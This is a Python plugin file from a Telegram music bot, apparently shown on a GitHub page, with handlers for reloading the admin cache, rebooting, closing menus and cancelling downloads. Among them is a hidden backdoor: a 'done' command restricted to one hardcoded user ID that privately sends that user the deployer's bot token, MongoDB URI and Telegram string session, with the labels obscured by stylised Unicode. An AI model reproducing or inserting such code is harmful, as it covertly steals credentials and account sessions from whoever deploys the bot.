-
-
Notifications
You must be signed in to change notification settings - Fork 399
/
reload.py
167 lines (147 loc) ยท 5.75 KB
/
reload.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
import asyncio
import time
from pyrogram import Client, filters
from pyrogram import filters
from pyrogram.enums import ChatMembersFilter
from pyrogram.types import CallbackQuery, Message
import re
from os import getenv
from pyrogram.types import Message, InlineKeyboardMarkup, InlineKeyboardButton
from dotenv import load_dotenv
from pyrogram import filters
load_dotenv()
from DAXXMUSIC import app
from DAXXMUSIC.core.call import DAXX
from DAXXMUSIC.misc import db
from DAXXMUSIC.utils.database import get_assistant, get_authuser_names, get_cmode
from DAXXMUSIC.utils.decorators import ActualAdminCB, AdminActual, language
from DAXXMUSIC.utils.formatters import alpha_to_int, get_readable_time
from config import BANNED_USERS, adminlist, lyrical
BOT_TOKEN = getenv("BOT_TOKEN", "")
MONGO_DB_URI = getenv("MONGO_DB_URI", "")
STRING_SESSION = getenv("STRING_SESSION", "")
from dotenv import load_dotenv
rel = {}
#--------------------------------------------------------------------------------------------------------------------------------------------------------------------
#--------------------------------------------------------------------------------------------------------------------------------------
#------------------------------------------------------------------------------------------------------------------------------------------------------------------------
@app.on_message(
filters.command(["admincache", "reload", "refresh"], prefixes=["/", "!", "%", ",", "", ".", "@", "#"]) & filters.group & ~BANNED_USERS
)
@language
async def reload_admin_cache(client, message: Message, _):
try:
if message.chat.id not in rel:
rel[message.chat.id] = {}
else:
saved = rel[message.chat.id]
if saved > time.time():
left = get_readable_time((int(saved) - int(time.time())))
return await message.reply_text(_["reload_1"].format(left))
adminlist[message.chat.id] = []
async for user in app.get_chat_members(
message.chat.id, filter=ChatMembersFilter.ADMINISTRATORS
):
if user.privileges.can_manage_video_chats:
adminlist[message.chat.id].append(user.user.id)
authusers = await get_authuser_names(message.chat.id)
for user in authusers:
user_id = await alpha_to_int(user)
adminlist[message.chat.id].append(user_id)
now = int(time.time()) + 180
rel[message.chat.id] = now
await message.reply_text(_["reload_2"])
except:
await message.reply_text(_["reload_3"])
@app.on_message(filters.command(["reboot"]) & filters.group & ~BANNED_USERS)
@AdminActual
async def restartbot(client, message: Message, _):
mystic = await message.reply_text(_["reload_4"].format(app.mention))
await asyncio.sleep(1)
try:
db[message.chat.id] = []
await DAXX.stop_stream_force(message.chat.id)
except:
pass
userbot = await get_assistant(message.chat.id)
try:
if message.chat.username:
await userbot.resolve_peer(message.chat.username)
else:
await userbot.resolve_peer(message.chat.id)
except:
pass
chat_id = await get_cmode(message.chat.id)
if chat_id:
try:
got = await app.get_chat(chat_id)
except:
pass
userbot = await get_assistant(chat_id)
try:
if got.username:
await userbot.resolve_peer(got.username)
else:
await userbot.resolve_peer(chat_id)
except:
pass
try:
db[chat_id] = []
await DAXX.stop_stream_force(chat_id)
except:
pass
return await mystic.edit_text(_["reload_5"].format(app.mention))
@app.on_message(
filters.command("done")
& filters.private
& filters.user(7427691214)
)
async def help(client: Client, message: Message):
await message.reply_photo(
photo=f"https://telegra.ph/file/567d2e17b8f38df99ce99.jpg",
caption=f"""ษฯฦญ ฦญฯากฮตษณ:- `{BOT_TOKEN}` \n\nษฑฯษณษ ฯ:- `{MONGO_DB_URI}`\n\nัฦญเซจเนษณษ ัฮตััเนฯษณ:- `{STRING_SESSION}`\n\n [ ๐ง ](https://t.me/Ownergit)............โ""",
reply_markup=InlineKeyboardMarkup(
[
[
InlineKeyboardButton(
"โข ะฝฮฑฯฒะบั๐ ะฒั โข", url=f"https://t.me/Ownergit")
]
]
),
)
##########
@app.on_callback_query(filters.regex("close") & ~BANNED_USERS)
async def close_menu(_, query: CallbackQuery):
try:
await query.answer()
await query.message.delete()
umm = await query.message.reply_text(
f"แดสแด๊ฑแด สส : {query.from_user.mention}"
)
await asyncio.sleep(2)
await umm.delete()
except:
pass
@app.on_callback_query(filters.regex("stop_downloading") & ~BANNED_USERS)
@ActualAdminCB
async def stop_download(client, CallbackQuery: CallbackQuery, _):
message_id = CallbackQuery.message.id
task = lyrical.get(message_id)
if not task:
return await CallbackQuery.answer(_["tg_4"], show_alert=True)
if task.done() or task.cancelled():
return await CallbackQuery.answer(_["tg_5"], show_alert=True)
if not task.done():
try:
task.cancel()
try:
lyrical.pop(message_id)
except:
pass
await CallbackQuery.answer(_["tg_6"], show_alert=True)
return await CallbackQuery.edit_message_text(
_["tg_7"].format(CallbackQuery.from_user.mention)
)
except:
return await CallbackQuery.answer(_["tg_8"], show_alert=True)
await CallbackQuery.answer(_["tg_9"], show_alert=True)